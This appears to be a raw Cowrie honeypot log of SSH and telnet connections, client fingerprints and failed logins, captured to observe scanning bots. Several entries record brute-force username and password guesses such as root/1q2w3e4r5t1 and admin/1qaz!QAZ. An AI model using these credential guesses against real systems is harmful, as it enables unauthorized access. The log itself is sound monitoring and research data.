{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44368,"dst_ip":"10.17.0.5","dst_port":22,"session":"738ec82b6738","protocol":"ssh","message":"New connection: 103.15.222.183:44368 (10.17.0.5:22) [session: 738ec82b6738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:27.611235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:27.616193Z","src_ip":"103.15.222.183","session":"738ec82b6738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.030484676361084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:27.706464Z","src_ip":"205.210.31.232","session":"87cd10ae891f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:27.853438Z","src_ip":"103.15.222.183","session":"738ec82b6738","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dtxyjcnm","message":"login attempt [root/dtxyjcnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:28.566533Z","src_ip":"103.15.222.183","session":"738ec82b6738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:28.768662Z","src_ip":"103.183.114.55","session":"1c413a5b5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:29.805167Z","src_ip":"103.15.222.183","session":"738ec82b6738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47778,"dst_ip":"10.17.0.5","dst_port":23,"session":"75fc05683c2c","protocol":"telnet","message":"New connection: 152.42.224.71:47778 (10.17.0.5:23) [session: 75fc05683c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:31.158593Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":47742,"dst_ip":"10.17.0.5","dst_port":22,"session":"98246e39910c","protocol":"ssh","message":"New connection: 43.153.50.142:47742 (10.17.0.5:22) [session: 98246e39910c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.016108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.020746Z","src_ip":"43.153.50.142","session":"98246e39910c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.088941Z","src_ip":"43.153.50.142","session":"98246e39910c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"b73e305de2e5","protocol":"ssh","message":"New connection: 103.27.238.116:45008 (10.17.0.5:22) [session: b73e305de2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.106283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.110045Z","src_ip":"103.27.238.116","session":"b73e305de2e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":59122,"dst_ip":"159.203.135.109","dst_port":22,"session":"518d69a1b3a2","protocol":"ssh","message":"New connection: 103.27.238.114:59122 (159.203.135.109:22) [session: 518d69a1b3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.251162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.255782Z","src_ip":"103.27.238.114","session":"518d69a1b3a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.371430Z","src_ip":"103.27.238.116","session":"b73e305de2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz!QAZ","message":"login attempt [admin/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.399584Z","src_ip":"43.153.50.142","session":"98246e39910c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:32.517251Z","src_ip":"103.27.238.114","session":"518d69a1b3a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t1","message":"login attempt [root/1q2w3e4r5t1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:33.158395Z","src_ip":"103.27.238.116","session":"b73e305de2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01020304","message":"login attempt [root/01020304] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:33.296965Z","src_ip":"103.27.238.114","session":"518d69a1b3a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:33.470426Z","src_ip":"43.153.50.142","session":"98246e39910c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:34.423063Z","src_ip":"103.27.238.116","session":"b73e305de2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:34.560061Z","src_ip":"103.27.238.114","session":"518d69a1b3a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":34026,"dst_ip":"10.17.0.5","dst_port":22,"session":"34bab908b568","protocol":"ssh","message":"New connection: 103.75.183.219:34026 (10.17.0.5:22) [session: 34bab908b568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:46.549587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:46.554015Z","src_ip":"103.75.183.219","session":"34bab908b568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:46.803151Z","src_ip":"103.75.183.219","session":"34bab908b568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rustam","message":"login attempt [root/rustam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:47.552830Z","src_ip":"103.75.183.219","session":"34bab908b568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:48.809910Z","src_ip":"103.75.183.219","session":"34bab908b568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36556,"dst_ip":"10.17.0.5","dst_port":23,"session":"98bed78c7faa","protocol":"telnet","message":"New connection: 152.42.224.71:36556 (10.17.0.5:23) [session: 98bed78c7faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:54.585620Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":60886,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee8e08bada8d","protocol":"ssh","message":"New connection: 176.65.148.108:60886 (159.203.135.109:22) [session: ee8e08bada8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:56.728085Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:56.812539Z","src_ip":"176.65.148.108","session":"ee8e08bada8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":60892,"dst_ip":"159.203.135.109","dst_port":22,"session":"4054757c1c39","protocol":"ssh","message":"New connection: 176.65.148.108:60892 (159.203.135.109:22) [session: 4054757c1c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:56.892997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:56.898285Z","src_ip":"176.65.148.108","session":"4054757c1c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:56.985260Z","src_ip":"176.65.148.108","session":"4054757c1c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2019","password":"2019","message":"login attempt [2019/2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:57.234419Z","src_ip":"176.65.148.108","session":"4054757c1c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:58.320878Z","src_ip":"176.65.148.108","session":"4054757c1c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e514db4be0e9","protocol":"telnet","message":"New connection: 152.42.224.71:48334 (10.17.0.5:23) [session: e514db4be0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:05.578312Z"}
{"eventid":"cowrie.session.closed","duration":46.243287801742554,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:08.033985Z","src_ip":"152.42.224.71","session":"87a01e6af852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":32842,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1d19a9e0bc1","protocol":"ssh","message":"New connection: 43.153.65.139:32842 (10.17.0.5:22) [session: c1d19a9e0bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:12.584058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:12.589324Z","src_ip":"43.153.65.139","session":"c1d19a9e0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:12.658299Z","src_ip":"43.153.65.139","session":"c1d19a9e0bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:12.962102Z","src_ip":"43.153.65.139","session":"c1d19a9e0bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:14.034077Z","src_ip":"43.153.65.139","session":"c1d19a9e0bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":40208,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a4ad50e8101","protocol":"telnet","message":"New connection: 213.108.3.46:40208 (159.203.135.109:23) [session: 6a4ad50e8101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:14.064378Z"}
{"eventid":"cowrie.session.closed","duration":0.01720142364501953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:14.081467Z","src_ip":"213.108.3.46","session":"6a4ad50e8101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.10918831825256,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:16.267668Z","src_ip":"152.42.224.71","session":"75fc05683c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52930,"dst_ip":"10.17.0.5","dst_port":23,"session":"98ce381c5b8a","protocol":"telnet","message":"New connection: 152.42.224.71:52930 (10.17.0.5:23) [session: 98ce381c5b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:35.760787Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":49686,"dst_ip":"10.17.0.5","dst_port":22,"session":"eff5682118d3","protocol":"ssh","message":"New connection: 43.153.50.142:49686 (10.17.0.5:22) [session: eff5682118d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:40.945499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:40.956458Z","src_ip":"43.153.50.142","session":"eff5682118d3","protocol":"ssh"}
